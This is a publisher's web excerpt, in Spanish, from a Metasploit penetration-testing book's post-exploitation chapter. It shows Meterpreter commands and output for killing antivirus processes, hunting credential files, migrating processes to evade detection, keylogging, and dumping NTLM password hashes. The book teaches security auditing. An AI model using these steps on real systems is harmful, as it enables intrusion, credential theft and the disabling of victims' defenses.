¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
  1. Libros
  2. Metasploit
  3. Ir más allá en la posexplotación
Extrait - Metasploit Verifique la seguridad de sus infraestructuras
Extractos del libro
Metasploit Verifique la seguridad de sus infraestructuras
1 opinión
Volver a la página de compra del libro

Ir más allá en la posexplotación

Introducción

La posexplotación es una fase particularmente importante, ya que permite profundizar aún más en el perímetro objetivo (definido en el mandato de autorización en el caso de una auditoría, o completamente libre, en el caso de un atacante).

Con anterioridad se han explicado algunos comandos estándares, así como los comandos básicos de Meterpreter. Sin embargo, Meterpreter está lleno de posibilidades para ir aún más lejos en la fase de posexplotación:

Desactivar el software de seguridad

Cuando una máquina se ve comprometida, es posible que esté equipada con un antivirus que pueda complicar la fase posterior a la explotación. Para superar este problema, es posible utilizar el script post/windows/manage/killav. De hecho, este último tiene una lista de más de 600 antivirus cuyo objetivo es terminar el proceso (kill <PID>).

Esta lista se puede encontrar en /usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt:

root@kali:/usr/share/metasploit-framework/data/wordlists# head  
av_hips_executables.txt  
emet_agent.exe  
emet_service.exe  
firesvc.exe  
firetray.exe  
hipsvc.exe  
mfevtps.exe  
mcafeefire.exe  
scan32.exe  
shstat.exe  
tbmon.exe 

Por lo tanto, el script se ejecuta pasando como argumento solo la sesión actual, de la siguiente manera:

msf6 > use post/windows/manage/killav  
  
msf6 post(windows/manage/killav) > set SESSION 2  
SESSION => 2    
 
msf6 post(windows/manage/killav) > exploit  
  
[*] Killing Antivirus services on the target  
[*] Killing of nod32.exe 

En caso de que el software de seguridad no esté en el archivo av_hips_executables.txt, puede realizar sus acciones manualmente gracias a los comandos ps (permite enumerar los procesos...

Elevar privilegios

1. Buscar archivos interesantes

Después de comprometer un sistema, puede ser interesante recorrerlo con objeto de buscar archivos interesantes para elevar sus privilegios, ya sea en la máquina comprometida o en otras máquinas de la red.

En caso de que el atacante no sepa exactamente dónde buscar, es posible utilizar el comando search de Meterpreter:

meterpreter > search -h   
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...  
Search for files.  
  
OPTIONS:  
   -d <opt>  The directory/drive to begin searching from. Leave empty  
to search all drives. (Default: )  
   -f <opt>  A file pattern glob to search for. (e.g. *secret*.doc?) 
   -h        Help Banner  
   -r <opt>  Recursivly search sub directories. (Default: true)   
 
meterpreter > search -f *.pdf  
Found 897 results...  
   [...]  
   d:\Syngress - Stealing the Network How to Own a Shadow.pdf (9570109  
bytes)  
   d:\Wireshark\Syngress -  
Wireshark.and.Ethereal.Network.Protocol.Analyzer.Toolkit.Nov.2006.pdf  
(13852555 bytes)  
   d:\Wireshark\Wireshark (R) 101 Essential Skills for Network  
Analysis.pdf (19254979 bytes)  
   d:\Metasploit\Metasploit - The PenTest Guide.pdf (7237192 bytes)  
   d:\Metasploit\Metasploit Penetration Testing Cookbook.pdf  
(5154679 bytes)  
   d:\Metasploit\Metasploit Toolkit for Penetration Testing.pdf  
(5136941 bytes)  
   [...] 

Sin embargo, un atacante con buena visibilidad de la máquina o del contexto de destino puede ir directamente a los archivos que contengan información confidencial, como archivos de base de datos (.sql), archivos de tipo keePass (.kdb o .kdbx), archivos que contienen la lista de los usuarios (/etc/passwd), archivos que contienen comandos ejecutados previamente (.bash_history), claves SSH, etc.

Ejemplo 1

En el caso del siguiente ejemplo de compromiso del sistema, fue posible comprometer el servidor de base de datos debido a la presencia de un comando...

Migrar procesos

Como resultado de un compromiso del sistema, puede ser necesario migrar el proceso de Meterpreter a otro. Esta migración permite:

  • ocultar el proceso para minimizar la detección,

  • cambiar la arquitectura del proceso (32 bits frente a 64 bits),

  • migrar a un proceso que disponga de más privilegios.

Una vez que se consigue comprometer el sistema, es posible conocer el proceso actual (getpid), así como mostrar todos los procesos en ejecución con el comando ps:

meterpreter > getpid  
Current pid: 5816    
 
meterpreter > ps  
  
Process List   
============   
  
PID   PPID  Name                         Arch  Session  User  
Path  
---   ----  ----                         ----  -------  ----  
----  
 0    0    [System Process]  
 4    0    System                        x64   0  
416   4     smss.exe                     x64   0       AUTORIDAD  
NT\Sistema       C:\Windows\System32\smss.exe  
436   800   nvSCPAPISvr.exe              x86   0       AUTORIDAD  ...

Grabar las pulsaciones del teclado

Ahora que el concepto de migración de procesos ha quedado un poco más claro, es posible hablar de keylogging o registro de pulsaciones de teclado.

Para registrar las pulsaciones del teclado de un usuario, un atacante debe poder migrar a uno de estos dos procesos:

  • winlogon.exe para capturar los identificadores de conexión de los usuarios. Para migrar a este proceso, el proceso inicial debe pertenecer a System.

  • explorer.exe para capturar el resto de las pulsaciones del teclado (además de los identificadores de conexión).

En este caso, debido a que el proceso de destino no tiene suficientes privilegios, la migración se realiza hacia explorer.exe:

meterpreter > ps  
  
Process list  
============  
  
   PID   Name               Path  
   ---   ----               ----  
   140   smss.exe           \SystemRoot\System32\smss.exe  
   188   winlogon.exe       ??\C:\WINNT\system32\winlogon.exe  
   216   services.exe       C:\WINNT\system32\services.exe  ...

Acceder a otras máquinas de la red

Si el alcance de las pruebas lo permite, es posible intentar acceder a otras máquinas de la red.

Como se ha visto en la sección Elevar privilegios - Buscar archivos interesantes, es posible encontrar información confidencial dentro de algunos archivos. Sin embargo, existen otras técnicas.

1. Reutilizar identificadores

Hemos visto que es posible obtener los hashes de los identificadores LM/NTLM gracias a los comandos hashdump y smart_hashdump de Meterpreter:

msf6 post(windows/gather/smart_hashdump) > exploit   
[*] Running module against VICTIMAPC  
[*] Hashes will be saved to the database if one is connected.  
[+] Hashes will be saved in loot in JtR password file format to:  
[*]  
/root/.msf4/loot/20190618081455_default_192.168.0.29_windows.hashes_3 
08038.txt   
[*] Dumping password hashes...  
[*] Running as SYSTEM extracting hashes from registry  
[*]     Obtaining the boot key...  
[*]     Calculating the hboot key using SYSKEY  
073e3c624e24966502b500cba1fdeb0a...  
[*]     Obtaining the user list and keys...  
[*]     Decrypting user keys...  
[*]     Dumping password hints...  
[+]     Admin:"..."  
[*]     Dumping password hashes...  
[+]  
    Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae  
931bXXXXXXXXX7e0c089c0:::  
[+]  
    Admin:1000:aad3b435b51404eeaad3b435b51404ee:fc8c2ba9cb96533a25f8d 
5a9de8a499a:::  
[+]  
    HomeGroupUser$:1005:aad3b435b51404eeaad3b435b51404ee:3a975b7d46b6 
f136506578a20ef927c0:::  
[+]  
    domy:1007:aad3b435b51404eeaad3b435b51404ee:bd8fc596f51dbe00fee673 
14719db053:::  
[*] Post module execution completed 

Para tratar de romper las contraseñas recuperadas de esa manera y que queden expuestas de forma abierta, también se ha presentado el módulo auxiliary/analyze/jtr_windows_fast. RainbowTables se podría usar igualmente para descifrar contraseñas. Sin embargo...